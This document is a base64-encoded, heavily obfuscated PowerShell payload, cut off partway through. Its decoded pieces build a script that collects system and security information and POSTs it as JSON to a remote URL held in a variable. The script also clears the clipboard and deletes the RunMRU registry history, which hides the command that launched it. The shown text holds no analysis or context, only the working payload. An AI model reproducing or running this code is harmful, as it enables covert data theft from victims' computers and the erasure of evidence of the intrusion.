ABBAFIAZwBCAHAAQQBDAGMAQQBMAEEAQQBnAEEAQQBvAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBjAEEAYgBBAEEAbgBBAEMAdwBBAEkAQQBBAEsAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAG4AQQBHAFUAQQBKAHcAQQBzAEEAQwBBAEEAQwBnAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASgB3AEIAUQBBAEcARQBBAGQAQQBCAG8AQQBDAGMAQQBMAEEAQQBnAEEAQQBvAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBjAEEASQBBAEEAawBBAEgAWQBBAGUAUQBCAFkAQQBDAGMAQQBMAEEAQQBnAEEAQQBvAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBjAEEAVgB3AEIAWgBBAEQASQBBAEoAdwBBAHMAQQBDAEEAQQBDAGcAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBKAHcAQgBSAEEARQBZAEEAUwBRAEIAbgBBAEMAYwBBAEMAZwBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBrAEEATwB3AEEAZwBBAEEAbwBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBrAEEASABNAEEAWQB3AEIAeQBBAEcAawBBAGMAQQBCADAAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAVABBAEIATQBBAEgAVQBBAFQAQQBCADMAQQBHADgAQQBaAEEAQgBpAEEARwA0AEEAYQBRAEEAZwBBAEMAMABBAGEAZwBCAHYAQQBHAGsAQQBiAGcAQQBnAEEAQwBjAEEASgB3AEEANwBBAEMAQQBBAEMAZwBBAGcAQQBDAEEAQQBJAEEAQQBnAEEARQBrAEEAYgBnAEIAMgBBAEcAOABBAGEAdwBCAGwAQQBDADAAQQBSAFEAQgA0AEEASABBAEEAYwBnAEIAbABBAEgATQBBAGMAdwBCAHAAQQBHADgAQQBiAGcAQQBnAEEAQwBRAEEAYwB3AEIAagBBAEgASQBBAGEAUQBCAHcAQQBIAFEAQQAiAAoAJABHAEUAawBZAFYAZgBtAHUARAB1ACAAPQAgACIAQwBnAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBBAG8AQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASgBBAEIAegBBAEgAawBBAGMAdwBCADAAQQBHAFUAQQBiAFEAQgBKAEEARwA0AEEAWgBnAEIAdgBBAEMAQQBBAFAAUQBBAGcAQQBHAEUAQQBTAGcAQgAzAEEARQBjAEEAYwBnAEIAcgBBAEUARQBBAGMAUQBCAFIAQQBHAFkAQQBDAGcAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAawBBAEgATQBBAFoAUQBCAGoAQQBIAFUAQQBjAGcAQgBwAEEASABRAEEAZQBRAEIASgBBAEcANABBAFoAZwBCAHYAQQBDAEEAQQBQAFEAQQBnAEEARgBnAEEATQB3AEIAMQBBAEQASQBBAFMAZwBCAE8AQQBEAGMAQQBkAFEAQgBvAEEARQA4AEEAQwBnAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAEsAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBRAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBnAEEARAAwAEEASQBBAEIAQQBBAEgAcwBBAEMAZwBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEcAdwBBAGIAdwBCAG4AQQBFAFEAQQBZAFEAQgAwAEEARwBFAEEASQBBAEEAOQBBAEMAQQBBAEkAZwBBAGsAQQBDAGcAQQBSAHcAQgBsAEEASABRAEEATABRAEIARQBBAEcARQBBAGQAQQBCAGwAQQBDAGsAQQBPAGcAQQBnAEEARgBBAEEAYwBnAEIAdgBBAEcATQBBAFoAUQBCAHoAQQBIAE0AQQBJAEEAQgB5AEEARwBFAEEAYgBnAEEAZwBBAEgATQBBAGQAUQBCAGoAQQBHAE0AQQBaAFEAQgB6AEEASABNAEEAWgBnAEIAMQBBAEcAdwBBAGIAQQBCADUAQQBDADQAQQBJAGcAQQBLAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBACIACgAkAEwAawB6AGcASgBWAGcAUQBmAGwAIAA9ACAAIgBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEAYwB3AEIANQBBAEgATQBBAGQAQQBCAGwAQQBHADAAQQBTAFEAQgB1AEEARwBZAEEAYgB3AEEAZwBBAEQAMABBAEkAQQBBAGsAQQBIAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEUAawBBAGIAZwBCAG0AQQBHADgAQQBDAGcAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBIAE0AQQBaAFEAQgBqAEEASABVAEEAYwBnAEIAcABBAEgAUQBBAGUAUQBCAEoAQQBHADQAQQBaAGcAQgB2AEEAQwBBAEEAUABRAEEAZwBBAEMAUQBBAGMAdwBCAGwAQQBHAE0AQQBkAFEAQgB5AEEARwBrAEEAZABBAEIANQBBAEUAawBBAGIAZwBCAG0AQQBHADgAQQBDAGcAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBHAFUAQQBlAEEAQgBsAEEARwBNAEEAVQBBAEIAdgBBAEcAdwBBAGEAUQBCAGoAQQBIAGsAQQBJAEEAQQA5AEEAQwBBAEEASQBnAEEAawBBAEMAZwBBAFIAdwBCAGwAQQBIAFEAQQBMAFEAQgBGAEEASABnAEEAWgBRAEIAagBBAEgAVQBBAGQAQQBCAHAAQQBHADgAQQBiAGcAQgBRAEEARwA4AEEAYgBBAEIAcABBAEcATQBBAGUAUQBBAHAAQQBDAEkAQQBDAGcAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEIAOQBBAEEAbwBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBKAEEAQgBxAEEASABNAEEAYgB3AEIAdQBBAEYAQQBBAFkAUQBCADUAQQBHAHcAQQBiAHcAQgBoAEEARwBRAEEASQBBAEEAOQBBAEMAQQBBAEoAQQBCAHcAQQBHAEUAQQBlAFEAQgBzAEEARwA4AEEAWQBRAEIAawBBAEMAQQBBAGYAQQBBAGcAQQBFAE0AQQBiAHcAQgB1AEEASABZAEEAIgAKACQAegAwAEsAVAB2AEsAYgA1AGIAcQAgAD0AIAAiAFoAUQBCAHkAQQBIAFEAQQBWAEEAQgB2AEEAQwAwAEEAUwBnAEIAegBBAEcAOABBAGIAZwBBAGcAQQBDADAAQQBSAEEAQgBsAEEASABBAEEAZABBAEIAbwBBAEMAQQBBAE4AQQBBAEsAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBRAEEAUwB3AEIANgBBAEUAVQBBAGEAQQBCADYAQQBGAGMAQQBjAFEAQgBUAEEASABnAEEAVgB3AEEAdQBBAEUAZwBBAFoAUQBCAGgAQQBHAFEAQQBaAFEAQgB5AEEASABNAEEATABnAEIAQgBBAEcAUQBBAFoAQQBBAG8AQQBDAEkAQQBRAHcAQgB2AEEARwA0AEEAZABBAEIAbABBAEcANABBAGQAQQBBAHQAQQBGAFEAQQBlAFEAQgB3AEEARwBVAEEASQBnAEEAcwBBAEMAQQBBAEkAZwBCAGgAQQBIAEEAQQBjAEEAQgBzAEEARwBrAEEAWQB3AEIAaABBAEgAUQBBAGEAUQBCAHYAQQBHADQAQQBMAHcAQgBxAEEASABNAEEAYgB3AEIAdQBBAEMASQBBAEsAUQBBAEsAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBRAEEAUwB3AEIANgBBAEUAVQBBAGEAQQBCADYAQQBGAGMAQQBjAFEAQgBUAEEASABnAEEAVgB3AEEAdQBBAEYAVQBBAGMAQQBCAHMAQQBHADgAQQBZAFEAQgBrAEEARgBNAEEAZABBAEIAeQBBAEcAawBBAGIAZwBCAG4AQQBDAGcAQQBKAEEAQgBwAEEARwB3AEEAYgBBAEIAdQBBAEgAWQBBAFYAdwBCAEcAQQBHAHcAQQBiAEEAQgB6AEEAQwB3AEEASQBBAEEAaQBBAEYAQQBBAFQAdwBCAFQAQQBGAFEAQQBJAGcAQQBzAEEAQwBBAEEASgBBAEIAcQBBAEgATQBBAGIAdwBCAHUAQQBGAEEAQQBZAFEAQgA1AEEARwB3AEEAYgB3AEIAaABBAEcAUQBBAEsAUQBBAEsAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEAQwBnAEIAOQBBAEMAQQBBAFkAdwBCAGgAQQBIAFEAQQBZAHcAQgBvAEEAQwBBAEEAZQB3AEEASwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBDAGcAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQAiAAoAJAB1AEEAYgBVAEgAYgB6AFgARAA3ACAAPQAgACIASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGsAQQBHAFUAQQBjAGcAQgB5AEEARwA4AEEAYwBnAEIAUQBBAEcARQBBAGUAUQBCAHMAQQBHADgAQQBZAFEAQgBrAEEAQwBBAEEAUABRAEEAZwBBAEUAQQBBAGUAdwBBAEsAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAGIAQQBCAHYAQQBHAGMAQQBSAEEAQgBoAEEASABRAEEAWQBRAEEAZwBBAEQAMABBAEkAQQBBAGkAQQBFAFkAQQBZAFEAQgBwAEEARwB3AEEAWgBRAEIAawBBAEMAQQBBAGQAQQBCAHYAQQBDAEEAQQBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAQQBBAGMAQQBCAHkAQQBHADgAQQBZAHcAQgBsAEEASABNAEEAYwB3AEEANgBBAEMAQQBBAEoAQQBBAG8AQQBDAFEAQQBYAHcAQQB1AEEARQBVAEEAZQBBAEIAagBBAEcAVQBBAGMAQQBCADAAQQBHAGsAQQBiAHcAQgB1AEEAQwA0AEEAVABRAEIAbABBAEgATQBBAGMAdwBCAGgAQQBHAGMAQQBaAFEAQQBwAEEAQwBJAEEAQwBnAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEASABNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBFAGsAQQBiAGcAQgBtAEEARwA4AEEASQBBAEEAOQBBAEMAQQBBAFkAUQBCAEsAQQBIAGMAQQBSAHcAQgB5AEEARwBzAEEAUQBRAEIAeABBAEYARQBBAFoAZwBBAEsAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAGMAdwBCAGwAQQBHAE0AQQBkAFEAQgB5AEEARwBrAEEAZABBAEIANQBBAEUAawBBAGIAZwBCAG0AQQBHADgAQQBJAEEAQQA5AEEAQwBBAEEAVwBBAEEAegBBAEgAVQBBAE0AZwBCAEsAQQBFADQAQQBOAHcAQgAxAEEARwBnAEEAVAB3AEEASwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBACIACgAkAFkAdgB1AG4AQQBnAFIAMQA3ADgAIAA9ACAAIgBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAFoAUQBCADQAQQBHAFUAQQBZAHcAQgBRAEEARwA4AEEAYgBBAEIAcABBAEcATQBBAGUAUQBBAGcAQQBEADAAQQBJAEEAQQBpAEEAQwBRAEEASwBBAEIASABBAEcAVQBBAGQAQQBBAHQAQQBFAFUAQQBlAEEAQgBsAEEARwBNAEEAZABRAEIAMABBAEcAawBBAGIAdwBCAHUAQQBGAEEAQQBiAHcAQgBzAEEARwBrAEEAWQB3AEIANQBBAEMAawBBAEkAZwBBAEsAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEASAAwAEEAQwBnAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAEsAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBRAEEAYQBnAEIAegBBAEcAOABBAGIAZwBCAEYAQQBIAEkAQQBjAGcAQgB2AEEASABJAEEAVQBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBnAEEARAAwAEEASQBBAEEAawBBAEcAVQBBAGMAZwBCAHkAQQBHADgAQQBjAGcAQgBRAEEARwBFAEEAZQBRAEIAcwBBAEcAOABBAFkAUQBCAGsAQQBDAEEAQQBmAEEAQQBnAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBWAEEAQgB2AEEAQwAwAEEAUwBnAEIAegBBAEcAOABBAGIAZwBBAGcAQQBDADAAQQBSAEEAQgBsAEEASABBAEEAZABBAEIAbwBBAEMAQQBBAE4AQQBBAEsAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBRAEEAUwB3AEIANgBBAEUAVQBBAGEAQQBCADYAQQBGAGMAQQBjAFEAQgBUAEEASABnAEEAVgB3AEEAdQBBAEUAZwBBAFoAUQBCAGgAQQBHAFEAQQBaAFEAQgB5AEEASABNAEEATABnAEIAQgBBAEcAUQBBAFoAQQBBAG8AQQBDAEkAQQBRAHcAQgB2AEEARwA0AEEAZABBAEIAbABBAEcANABBAGQAQQBBAHQAQQBGAFEAQQBlAFEAQgB3AEEARwBVAEEAIgAKACQATgBPADgAUwBTAEEARwB3AHIAUgAgAD0AIAAiAEkAZwBBAHMAQQBDAEEAQQBJAGcAQgBoAEEASABBAEEAYwBBAEIAcwBBAEcAawBBAFkAdwBCAGgAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEATAB3AEIAcQBBAEgATQBBAGIAdwBCAHUAQQBDAEkAQQBLAFEAQQBLAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAUQBBAFMAdwBCADYAQQBFAFUAQQBhAEEAQgA2AEEARgBjAEEAYwBRAEIAVABBAEgAZwBBAFYAdwBBAHUAQQBGAFUAQQBjAEEAQgBzAEEARwA4AEEAWQBRAEIAawBBAEYATQBBAGQAQQBCAHkAQQBHAGsAQQBiAGcAQgBuAEEAQwBnAEEASgBBAEIAcABBAEcAdwBBAGIAQQBCAHUAQQBIAFkAQQBWAHcAQgBHAEEARwB3AEEAYgBBAEIAegBBAEMAdwBBAEkAQQBBAGkAQQBGAEEAQQBUAHcAQgBUAEEARgBRAEEASQBnAEEAcwBBAEMAQQBBAEoAQQBCAHEAQQBIAE0AQQBiAHcAQgB1AEEARQBVAEEAYwBnAEIAeQBBAEcAOABBAGMAZwBCAFEAQQBHAEUAQQBlAFEAQgBzAEEARwA4AEEAWQBRAEIAawBBAEMAawBBAEMAZwBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQQBvAEEAZgBRAEEASwBBAEEAbwBBAFoAZwBCADEAQQBHADQAQQBZAHcAQgAwAEEARwBrAEEAYgB3AEIAdQBBAEMAQQBBAFYAQQBCAG8AQQBGAGsAQQBNAHcAQgBaAEEARwBNAEEATgB3AEIAWQBBAEQATQBBAGMAUQBBAGcAQQBIAHMAQQBDAGcAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEUARQBBAFoAQQBCAGsAQQBDADAAQQBWAEEAQgA1AEEASABBAEEAWgBRAEEAZwBBAEMAMABBAFEAUQBCAHoAQQBIAE0AQQBaAFEAQgB0AEEARwBJAEEAYgBBAEIANQBBAEUANABBAFkAUQBCAHQAQQBHAFUAQQBJAEEAQgBUAEEASABrAEEAYwB3AEIAMABBAEcAVQBBAGIAUQBBAHUAQQBGAGMAQQBhAFEAQgB1AEEARwBRAEEAYgB3AEIAMwBBAEgATQBBAEwAZwBCAEcAQQBHADgAQQBjAGcAQgB0AEEASABNAEEAQwBnAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBGAHMAQQBVAHcAQgA1AEEASABNAEEAZABBAEIAbABBAEcAMABBAEwAZwBCAFgAQQBHAGsAQQAiAAoAJABNAE8AbwBYADUAZQBFAFkAcwByACAAPQAgACIAYgBnAEIAawBBAEcAOABBAGQAdwBCAHoAQQBDADQAQQBSAGcAQgB2AEEASABJAEEAYgBRAEIAegBBAEMANABBAFEAdwBCAHMAQQBHAGsAQQBjAEEAQgBpAEEARwA4AEEAWQBRAEIAeQBBAEcAUQBBAFgAUQBBADYAQQBEAG8AQQBRAHcAQgBzAEEARwBVAEEAWQBRAEIAeQBBAEMAZwBBAEsAUQBBAEsAQQBIADAAQQBDAGcAQQBrAEEARwA4AEEAYgBnAEIAVQBBAEQASQBBAGIAUQBCAEMAQQBIAEkAQQBSAHcAQgBDAEEASABrAEEASQBBAEEAOQBBAEMAQQBBAEoAQQBCADAAQQBIAEkAQQBkAFEAQgBsAEEAQQBvAEEASgBBAEIAaQBBAEUARQBBAFMAZwBBADUAQQBFAHcAQQBUAFEAQgB5AEEARgBFAEEAYQB3AEEAMgBBAEMAQQBBAFAAUQBBAGcAQQBDAGMAQQBTAEEAQgBMAEEARQBNAEEAVgBRAEEANgBBAEYAdwBBAFUAdwBCAHYAQQBHAFkAQQBkAEEAQgAzAEEARwBFAEEAYwBnAEIAbABBAEYAdwBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAFgAQQBCAFgAQQBHAGsAQQBiAGcAQgBrAEEARwA4AEEAZAB3AEIAegBBAEYAdwBBAFEAdwBCADEAQQBIAEkAQQBjAGcAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcAVQBBAGMAZwBCAHoAQQBHAGsAQQBiAHcAQgB1AEEARgB3AEEAUgBRAEIANABBAEgAQQBBAGIAQQBCAHYAQQBIAEkAQQBaAFEAQgB5AEEARgB3AEEAVQBnAEIAMQBBAEcANABBAFQAUQBCAFMAQQBGAFUAQQBKAHcAQQBLAEEAQwBRAEEAVgBBAEIAWgBBAEYASQBBAFEAUQBCAEsAQQBHAFEAQQBjAEEAQgBOAEEARwBRAEEATQBRAEEAZwBBAEQAMABBAEkAQQBBAG4AQQBHAE0AQQBiAFEAQgBrAEEAQwBjAEEAQwBnAEIAMABBAEgASQBBAGUAUQBBAGcAQQBIAHMAQQBDAGcAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAUQBBAFkAdwBCAHIAQQBHAG8AQQBXAGcAQgBRAEEARABJAEEAZABRAEIAcwBBAEQAZwBBAFIAQQBBAGcAQQBEADAAQQBJAEEAQgBIAEEARwBVAEEAZABBAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBVAEEAQgB5AEEARwA4AEEAYwBBAEIAbABBAEgASQBBACIACgAkAHYAVQBWAFoASQB5AGcAUwBoAHQAIAA9ACAAIgBkAEEAQgA1AEEAQwBBAEEATABRAEIAUQBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBKAEEAQgBpAEEARQBFAEEAUwBnAEEANQBBAEUAdwBBAFQAUQBCAHkAQQBGAEUAQQBhAHcAQQAyAEEAQwBBAEEATABRAEIARgBBAEgASQBBAGMAZwBCAHYAQQBIAEkAQQBRAFEAQgBqAEEASABRAEEAYQBRAEIAdgBBAEcANABBAEkAQQBCAFQAQQBHAGsAQQBiAEEAQgBsAEEARwA0AEEAZABBAEIAcwBBAEgAawBBAFEAdwBCAHYAQQBHADQAQQBkAEEAQgBwAEEARwA0AEEAZABRAEIAbABBAEEAbwBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQgBwAEEARwBZAEEASQBBAEEAbwBBAEMAUQBBAFkAdwBCAHIAQQBHAG8AQQBXAGcAQgBRAEEARABJAEEAZABRAEIAcwBBAEQAZwBBAFIAQQBBAHAAQQBDAEEAQQBlAHcAQQBLAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBrAEEASABJAEEAWQB3AEIAUQBBAEQARQBBAFIAZwBCAFMAQQBGAEUAQQBRAFEAQgBFAEEARgBFAEEASQBBAEEAOQBBAEMAQQBBAEoAQQBCAGoAQQBHAHMAQQBhAGcAQgBhAEEARgBBAEEATQBnAEIAMQBBAEcAdwBBAE8AQQBCAEUAQQBDADQAQQBVAEEAQgBUAEEARQA4AEEAWQBnAEIAcQBBAEcAVQBBAFkAdwBCADAAQQBDADQAQQBVAEEAQgB5AEEARwA4AEEAYwBBAEIAbABBAEgASQBBAGQAQQBCAHAAQQBHAFUAQQBjAHcAQQBnAEEASAB3AEEASQBBAEIAWABBAEcAZwBBAFoAUQBCAHkAQQBHAFUAQQBMAFEAQgBQAEEARwBJAEEAYQBnAEIAbABBAEcATQBBAGQAQQBBAGcAQQBIAHMAQQBJAEEAQQBrAEEARgA4AEEATABnAEIATwBBAEcARQBBAGIAUQBCAGwAQQBDAEEAQQBMAFEAQgB1AEEARwBVAEEASQBBAEEAbgBBAEUAMABBAFUAZwBCAFYAQQBFAHcAQQBhAFEAQgB6AEEASABRAEEASgB3AEEAZwBBAEMAMABBAFkAUQBCAHUAQQBHAFEAQQBJAEEAQQBrAEEARgA4AEEATABnAEIATwBBAEcARQBBAGIAUQBCAGwAQQBDADQAQQBUAEEAQgBsAEEARwA0AEEAWgB3AEIAMABBAEcAZwBBAEkAQQBBAHQAQQBHAHcAQQBaAFEAQQBnAEEARABJAEEAIgAKACQAUgB0AEoAUgBCAEEAagB0AHoAMAAgAD0AIAAiAEkAQQBCADkAQQBDAEEAQQBmAEEAQQBnAEEARgBNAEEAWgBRAEIAcwBBAEcAVQBBAFkAdwBCADAAQQBDADAAQQBUAHcAQgBpAEEARwBvAEEAWgBRAEIAagBBAEgAUQBBAEkAQQBBAHQAQQBFAFUAQQBlAEEAQgB3AEEARwBFAEEAYgBnAEIAawBBAEYAQQBBAGMAZwBCAHYAQQBIAEEAQQBaAFEAQgB5AEEASABRAEEAZQBRAEEAZwBBAEUANABBAFkAUQBCAHQAQQBHAFUAQQBDAGcAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBKAEEAQgBwAEEARABrAEEAVQB3AEIAeABBAEUANABBAFoAQQBCAEcAQQBEAEEAQQBlAFEAQQAwAEEAQwBBAEEAUABRAEEAZwBBAEMAUQBBAGMAZwBCAGoAQQBGAEEAQQBNAFEAQgBHAEEARgBJAEEAVQBRAEIAQgBBAEUAUQBBAFUAUQBBAGcAQQBIAHcAQQBJAEEAQgBUAEEARwA4AEEAYwBnAEIAMABBAEMAMABBAFQAdwBCAGkAQQBHAG8AQQBaAFEAQgBqAEEASABRAEEASQBBAEIAOABBAEMAQQBBAFUAdwBCAGwAQQBHAHcAQQBaAFEAQgBqAEEASABRAEEATABRAEIAUABBAEcASQBBAGEAZwBCAGwAQQBHAE0AQQBkAEEAQQBnAEEAQwAwAEEAVABBAEIAaABBAEgATQBBAGQAQQBBAGcAQQBEAEUAQQBDAGcAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBhAFEAQgBtAEEAQwBBAEEASwBBAEEAawBBAEcAawBBAE8AUQBCAFQAQQBIAEUAQQBUAGcAQgBrAEEARQBZAEEATQBBAEIANQBBAEQAUQBBAEkAQQBBAHQAQQBHAEUAQQBiAGcAQgBrAEEAQwBBAEEASgBBAEIAagBBAEcAcwBBAGEAZwBCAGEAQQBGAEEAQQBNAGcAQgAxAEEARwB3AEEATwBBAEIARQBBAEMANABBAFUAQQBCAFQAQQBFADgAQQBZAGcAQgBxAEEARwBVAEEAWQB3AEIAMABBAEMANABBAFUAQQBCAHkAQQBHADgAQQBjAEEAQgBsAEEASABJAEEAZABBAEIAcABBAEcAVQBBAGMAdwBCAGIAQQBDAFEAQQBhAFEAQQA1AEEARgBNAEEAYwBRAEIATwBBAEcAUQBBAFIAZwBBAHcAQQBIAGsAQQBOAEEAQgBkAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAEMAZwBBAGcAQQBDAEEAQQAiAAoAJABlADkAUQBmAFkAbwB3AGoAdQA2ACAAPQAgACIASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEIAVABBAEcAVQBBAGQAQQBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEAVQBBAEIAeQBBAEcAOABBAGMAQQBCAGwAQQBIAEkAQQBkAEEAQgA1AEEAQwBBAEEATABRAEIAUQBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBKAEEAQgBpAEEARQBFAEEAUwBnAEEANQBBAEUAdwBBAFQAUQBCAHkAQQBGAEUAQQBhAHcAQQAyAEEAQwBBAEEATABRAEIATwBBAEcARQBBAGIAUQBCAGwAQQBDAEEAQQBKAEEAQgBwAEEARABrAEEAVQB3AEIAeABBAEUANABBAFoAQQBCAEcAQQBEAEEAQQBlAFEAQQAwAEEAQwBBAEEATABRAEIAVwBBAEcARQBBAGIAQQBCADEAQQBHAFUAQQBJAEEAQQBrAEEARgBRAEEAVwBRAEIAUwBBAEUARQBBAFMAZwBCAGsAQQBIAEEAQQBUAFEAQgBrAEEARABFAEEASQBBAEEAdABBAEUAVQBBAGMAZwBCAHkAQQBHADgAQQBjAGcAQgBCAEEARwBNAEEAZABBAEIAcABBAEcAOABBAGIAZwBBAGcAQQBGAE0AQQBhAFEAQgBzAEEARwBVAEEAYgBnAEIAMABBAEcAdwBBAGUAUQBCAEQAQQBHADgAQQBiAGcAQgAwAEEARwBrAEEAYgBnAEIAMQBBAEcAVQBBAEkAQQBBAEsAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBCADkAQQBBAG8AQQBJAEEAQQBnAEEAQwBBAEEASQBBAEIAOQBBAEEAbwBBAGYAUQBBAGcAQQBHAE0AQQBZAFEAQgAwAEEARwBNAEEAYQBBAEEAZwBBAEgAcwBBAEMAZwBCADkAQQBBAG8AQQBDAGcAQQA9ACIACgAkAHoAbwBOAEkAbABYAG8AUwBaAE0AIAA9ACAAJABqAFoAUQBOAFMARAB0AEIAOABMACAAKwAgACQAWABKAEMAMQBaAHIANQBnAG8AbQAgACsAIAAkAFIAcwBxAEYAdgB5AFAAMwB0AEwAIAArACAAJABQAHQAYQA2ADUAZAAzAFAANwBvACAAKwAgACQARwA4ADYAVwBIAFIAOABqADYASAAgACsAIAAkAFEATwBPAGcANgB4AHYAYQBSAEYAIAArACAAJABxAEgAdgBHAFUAMAA5ADMANgB0ACAAKwAgACQAWgA1AGwANwBvAHUASABPADYANwAgACsAIAAkAFkAZwBJAGQARgAwAEkARQBLAHAAIAArACAAJABPAHEAZgB3AEgARwA5AHEAMwBoACAAKwAgACQAeQAwAFUAMgBvAHoASQByAGoANwAgACsAIAAkAEcARQBrAFkAVgBmAG0AdQBEAHUAIAArACAAJABMAGsAegBnAEoAVgBnAFEAZgBsACAAKwAgACQAegAwAEsAVAB2AEsAYgA1AGIAcQAgACsAIAAkAHUAQQBiAFUASABiAHoAWABEADcAIAArACAAJABZAHYAdQBuAEEAZwBSADEANwA4ACAAKwAgACQATgBPADgAUwBTAEEARwB